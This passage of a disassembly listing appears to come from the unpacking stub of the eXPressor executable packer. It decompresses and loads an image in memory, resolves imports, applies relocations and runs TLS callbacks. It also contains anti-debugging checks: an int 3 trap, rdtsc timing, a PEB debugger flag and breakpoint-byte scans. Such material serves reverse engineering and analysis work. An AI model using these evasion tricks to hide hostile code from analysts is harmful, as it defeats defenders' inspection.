[ebp+var_14], 0 mov bl, al jmp short loc_43475C ; --------------------------------------------------------------------------- loc_43473E: ; CODE XREF: sub_4345EB+12Aj push 1 pop ebx loc_434741: ; CODE XREF: sub_4345EB+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_4343BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_434741 loc_43475C: ; CODE XREF: sub_4345EB+151j mov eax, [ebp+arg_1C] jmp short loc_4347D4 ; --------------------------------------------------------------------------- loc_434761: ; CODE XREF: sub_4345EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_4343BA pop ecx cmp eax, 1 pop ecx jnz loc_43485A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_4343BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_4347E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_43482E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_4347D4: ; CODE XREF: sub_4345EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_434945 ; --------------------------------------------------------------------------- loc_4347E2: ; CODE XREF: sub_4345EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_4347FA mov eax, [ebp+var_10] jmp short loc_434825 ; --------------------------------------------------------------------------- loc_4347FA: ; CODE XREF: sub_4345EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_434816 mov eax, [ebp+var_C] jmp short loc_43481F ; --------------------------------------------------------------------------- loc_434816: ; CODE XREF: sub_4345EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_43481F: ; CODE XREF: sub_4345EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_434825: ; CODE XREF: sub_4345EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_43482E: ; CODE XREF: sub_4345EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_434576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_43491E ; --------------------------------------------------------------------------- loc_43485A: ; CODE XREF: sub_4345EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_434576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_43489A jmp short loc_43489D ; --------------------------------------------------------------------------- loc_43489A: ; CODE XREF: sub_4345EB+2ABj push 3 pop eax loc_43489D: ; CODE XREF: sub_4345EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_43447F add esp, 0Ch cmp eax, 4 jl short loc_434915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_4348EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_4344B6 add esp, 0Ch loc_4348E8: ; CODE XREF: sub_4345EB+328j add ebx, eax jmp short loc_43491A ; --------------------------------------------------------------------------- loc_4348EC: ; CODE XREF: sub_4345EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_434358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_4344B6 add esp, 14h jmp short loc_4348E8 ; --------------------------------------------------------------------------- loc_434915: ; CODE XREF: sub_4345EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_43491A: ; CODE XREF: sub_4345EB+2FFj inc ebx mov [ebp+var_8], ebx loc_43491E: ; CODE XREF: sub_4345EB+26Aj cmp [ebp+var_8], 0 jz short loc_434951 inc edi inc edi loc_434926: ; CODE XREF: sub_4345EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_434945 cmp ecx, [ebp+arg_20] jb short loc_434926 loc_434945: ; CODE XREF: sub_4345EB+1F2j ; sub_4345EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_4346AC loc_434951: ; CODE XREF: sub_4345EB+BBj ; sub_4345EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_4345EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434960 proc near ; CODE XREF: start+26Fp start+329p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_4349D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_434990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_43498A: ; CODE XREF: sub_434960+2Ej add cl, 0D3h dec eax jnz short loc_43498A loc_434990: ; CODE XREF: sub_434960+1Bj cmp cl, 9 jb short loc_4349A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_4349A1: ; CODE XREF: sub_434960+45j add cl, 0F7h dec eax jnz short loc_4349A1 loc_4349A7: ; CODE XREF: sub_434960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_434238 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_4349D7 loc_4349D2: ; CODE XREF: sub_434960+11j push 1 pop eax jmp short loc_434A34 ; --------------------------------------------------------------------------- loc_4349D7: ; CODE XREF: sub_434960+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_4345EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_434234 ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_4356A2 add esp, 14h mov eax, edi loc_434A34: ; CODE XREF: sub_434960+75j pop edi pop esi pop ebx leave retn sub_434960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00435309 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_434A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_434A55: ; CODE XREF: start+Dj mov eax, ds:dword_434000 add eax, offset dword_434000 mov ds:off_434024, eax mov eax, ds:off_434024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_434028, ecx cmp ds:dword_43402C, 0 jz short loc_434A96 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_4352A4 ; --------------------------------------------------------------------------- loc_434A96: ; CODE XREF: start+45j mov ds:dword_43402C, 1 mov eax, offset sub_4353E1 push eax push large dword ptr fs:0 mov large fs:0, esp push 5 mov eax, offset sub_435401 add eax, 0Eh push eax call sub_435401 pop ecx pop ecx imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx call sub_43539D imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx mov ds:dword_434030, offset loc_434B18 push ebp push eax mov eax, 0B9h add eax, 13h mov ebp, offset loc_434B18 mov [ebp+0], al mov ebp, 4243484Bh mov ax, 4 loc_434B18: ; DATA XREF: start+BAo start+CEo int 3 ; Trap to Debugger cmp al, 4 pop eax pop ebp jnz short loc_434B21 jmp short loc_434B28 ; --------------------------------------------------------------------------- loc_434B21: ; CODE XREF: start+E4j mov [ebp+var_28], 3 loc_434B28: ; CODE XREF: start+E6j mov eax, ds:off_434024 mov eax, [eax+14h] add eax, [ebp+var_28] mov ecx, ds:off_434024 mov [ecx+14h], eax loc_434B3C: ; DATA XREF: start:loc_434B3Co mov [ebp+var_28], offset loc_434B3C push 0Ah mov eax, [ebp+var_28] add eax, 10h push eax call sub_435401 pop ecx pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx push 4 push 1000h push 80h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_434B8E and [ebp+arg_0], 0 loc_434B8E: ; CODE XREF: start+14Fj push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:dword_434250 ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_434BC0: ; CODE XREF: start+199j mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_434BD4 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_434BC0 ; --------------------------------------------------------------------------- loc_434BD4: ; CODE XREF: start+190j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_434020 shl eax, 6 mov ecx, ds:dword_434028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_434028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_434CC7 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+80h] mov ds:dword_435824, ecx mov eax, ds:dword_435824 mov [ebp+var_3C], eax mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_435828, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov ds:off_435820, ecx push ds:dword_435824 mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_435820 call sub_434960 add esp, 0Ch mov eax, ds:off_434024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_435421 pop ecx pop ecx jmp loc_435307 ; --------------------------------------------------------------------------- loc_434CC7: ; CODE XREF: start+219j mov eax, ds:off_434024 cmp dword ptr [eax+64h], 0 jz loc_434DF1 push 4 push 1000h mov eax, ds:off_434024 push dword ptr [eax+4] push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_435824, eax cmp ds:dword_435824, 0 jnz short loc_434D1B push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434D1B: ; CODE XREF: start+2C6j mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_435828, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:off_435820, ecx push ds:dword_435824 mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_435820 call sub_434960 add esp, 0Ch jmp short loc_434D73 ; --------------------------------------------------------------------------- loc_434D6C: ; CODE XREF: start+3A1j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434D73: ; CODE XREF: start+331j mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_434DDC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_435824 mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:off_434024 mov edi, ds:dword_434028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_435824 add edx, [ecx+eax+7Ch] mov ds:dword_435824, edx jmp short loc_434D6C ; --------------------------------------------------------------------------- loc_434DDC: ; CODE XREF: start+346j push 8000h push 0 push [ebp+var_3C] call ds:dword_434234 ; VirtualFree jmp loc_434EDB ; --------------------------------------------------------------------------- loc_434DF1: ; CODE XREF: start+297j mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 sub ecx, [eax+0Ch] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_434E29 ; --------------------------------------------------------------------------- loc_434E22: ; CODE XREF: start:loc_434ED6j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434E29: ; CODE XREF: start+3E7j mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_434EDB mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+74h], 0 jz loc_434ED6 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_434ED6 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_434028 add edx, [ecx+eax+80h] mov ds:dword_435824, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov eax, [ecx+eax+7Ch] mov ds:dword_435828, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:off_435820, edx push ds:dword_435824 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 push dword ptr [ecx+eax+7Ch] push ds:off_435820 call sub_434960 add esp, 0Ch loc_434ED6: ; CODE XREF: start+413j start+42Aj jmp loc_434E22 ; --------------------------------------------------------------------------- loc_434EDB: ; CODE XREF: start+3B3j start+3FCj mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_434EEC: ; CODE XREF: start+6C4j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_435102 mov eax, ds:off_434024 cmp dword ptr [eax+24h], 0 jz loc_435102 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:dword_434244 ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_434F4A push 8 push 0 push [ebp+var_C] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434F4A: ; CODE XREF: start+4FFj cmp [ebp+var_30], 0 jnz short loc_434F88 mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434F88: ; CODE XREF: start+515j cmp [ebp+var_30], 0 jnz short loc_434FBA push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434FBA: ; CODE XREF: start+553j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_434FEC mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_434FFA ; --------------------------------------------------------------------------- loc_434FEC: ; CODE XREF: start+5A9j mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax] mov [ebp+var_18], ecx loc_434FFA: ; CODE XREF: start+5B1j start+6B6j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_4350F4 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_435034 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_435054 ; --------------------------------------------------------------------------- loc_435034: ; CODE XREF: start+5DDj mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_434028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax loc_435054: ; CODE XREF: start+5F9j cmp [ebp+var_5C], 0 jnz short loc_4350C4 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_43508F mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h jmp short loc_4350AC ; --------------------------------------------------------------------------- loc_43508F: ; CODE XREF: start+62Dj mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h loc_4350AC: ; CODE XREF: start+654j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_4350C4: ; CODE XREF: start+61Fj lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_434FFA ; --------------------------------------------------------------------------- loc_4350F4: ; CODE XREF: start+5C7j mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_434EEC ; --------------------------------------------------------------------------- loc_435102: ; CODE XREF: start+4BAj start+4C9j mov eax, ds:off_434024 mov eax, [eax+1Ch] cmp eax, ds:dword_434028 jz loc_435279 mov eax, ds:off_434024 cmp dword ptr [eax+28h], 0 jz loc_435279 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_435136: ; CODE XREF: start+83Bj mov eax, [ebp+var_34] cmp dword ptr [eax], 0 jz loc_435279 mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_435158 ; --------------------------------------------------------------------------- loc_435151: ; CODE XREF: start+82Aj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_435158: ; CODE XREF: start+716j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_435268 mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_434028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_4351A8 cmp [ebp+var_60], 3 jz short loc_4351AD jmp loc_43522E ; --------------------------------------------------------------------------- loc_4351A8: ; CODE XREF: start+762j jmp loc_43525B ; --------------------------------------------------------------------------- loc_4351AD: ; CODE XREF: start+768j mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:off_434024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_434028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_434028 jb short loc_4351E5 mov eax, [ebp+var_10] mov ecx, ds:dword_434028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_435213 loc_4351E5: ; CODE XREF: start+799j mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_435213: ; CODE XREF: start+7AAj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_43525B ; --------------------------------------------------------------------------- loc_43522E: ; CODE XREF: start+76Aj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA loc_43525B: ; CODE XREF: start:loc_4351A8j ; start+7F3j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_435151 ; --------------------------------------------------------------------------- loc_435268: ; CODE XREF: start+730j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_435136 ; --------------------------------------------------------------------------- loc_435279: ; CODE XREF: start+6D7j start+6E6j ... mov eax, ds:off_434024 cmp dword ptr [eax+30h], 0 jz short loc_435289 call sub_435372 loc_435289: ; CODE XREF: start+849j mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx pop large dword ptr fs:0 add esp, 4 loc_4352A4: ; CODE XREF: start+58j ; start:loc_435307j push 8000h push 0 push [ebp+var_24] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:dword_434234 ; VirtualFree mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_4352E7 push 0 call ds:dword_43424C ; ExitProcess loc_4352E7: ; CODE XREF: start+8A4j mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:off_434024 cmp dword ptr [eax+14h], 0 jnz short loc_435302 pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_435302: ; CODE XREF: start+8C2j pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_435309 ; --------------------------------------------------------------------------- loc_435307: ; CODE XREF: start+289j jmp short loc_4352A4 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_435309: ; CODE XREF: start+8CCj pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public TlsCallback_0 TlsCallback_0 proc near ; CODE XREF: sub_435372+25p ; DATA XREF: .ex_cod:TlsCallbackso arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp call sub_43539D push 1 test eax, eax pop ecx jz short loc_435323 mov ds:dword_434020, ecx loc_435323: ; CODE XREF: TlsCallback_0+Dj cmp ds:dword_43400C, 0 push esi jz short loc_43534F mov eax, ds:off_434024 mov esi, [eax+40h] test esi, esi jz short loc_43536D loc_435339: ; CODE XREF: TlsCallback_0+3Fj mov eax, [esi] test eax, eax jz short loc_43536D push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_435339 ; --------------------------------------------------------------------------- loc_43534F: ; CODE XREF: TlsCallback_0+1Dj mov eax, [ebp+arg_0] mov ds:dword_434010, ecx mov ds:dword_434014, eax mov eax, [ebp+arg_4] mov ds:dword_434018, eax mov eax, [ebp+arg_8] mov ds:dword_43401C, eax loc_43536D: ; CODE XREF: TlsCallback_0+29j ; TlsCallback_0+2Fj pop esi pop ebp retn 0Ch TlsCallback_0 endp ; =============== S U B R O U T I N E ======================================= sub_435372 proc near ; CODE XREF: start+84Bp cmp ds:dword_434010, 0 mov ds:dword_43400C, 1 jz short locret_43539C push ds:dword_43401C push ds:dword_434018 push ds:dword_434014 call TlsCallback_0 locret_43539C: ; CODE XREF: sub_435372+11j retn sub_435372 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43539D proc near ; CODE XREF: start+A1p ; TlsCallback_0+3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi push eax push ecx mov eax, large fs:18h mov eax, [eax+30h] mov ecx, [eax] mov [ebp+var_4], ecx pop ecx pop eax rdtsc xor ecx, ecx add ecx, eax rdtsc sub eax, ecx cmp eax, 0FFFh jb short loc_4353CE push 0 call near ptr dword_43424C loc_4353CE: ; CODE XREF: sub_43539D+28j mov eax, [ebp+var_4] and eax, 10000h neg eax sbb eax, eax neg eax pop edi pop esi pop ebx leave retn sub_43539D endp ; =============== S U B R O U T I N E ======================================= sub_4353E1 proc near ; DATA XREF: start+67o arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] add eax, 0B8h mov ecx, [eax] cmp ds:dword_434030, ecx jnz short loc_4353FE inc ecx mov [eax], ecx and ds:dword_434030, 0 loc_4353FE: ; CODE XREF: sub_4353E1+11j xor eax, eax retn sub_4353E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435401 proc near ; CODE XREF: start+86p start+113p ; DATA XREF: ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov al, 0CCh repne scasb test ecx, ecx jz short loc_43541A push 1 pop eax jmp short loc_43541C ; --------------------------------------------------------------------------- loc_43541A: ; CODE XREF: sub_435401+12j xor eax, eax loc_43541C: ; CODE XREF: sub_435401+17j pop edi pop esi pop ebx pop ebp retn sub_435401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435421 proc near ; CODE XREF: start+282p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:dword_434254 xor ebx, ebx push offset aOle32_dll 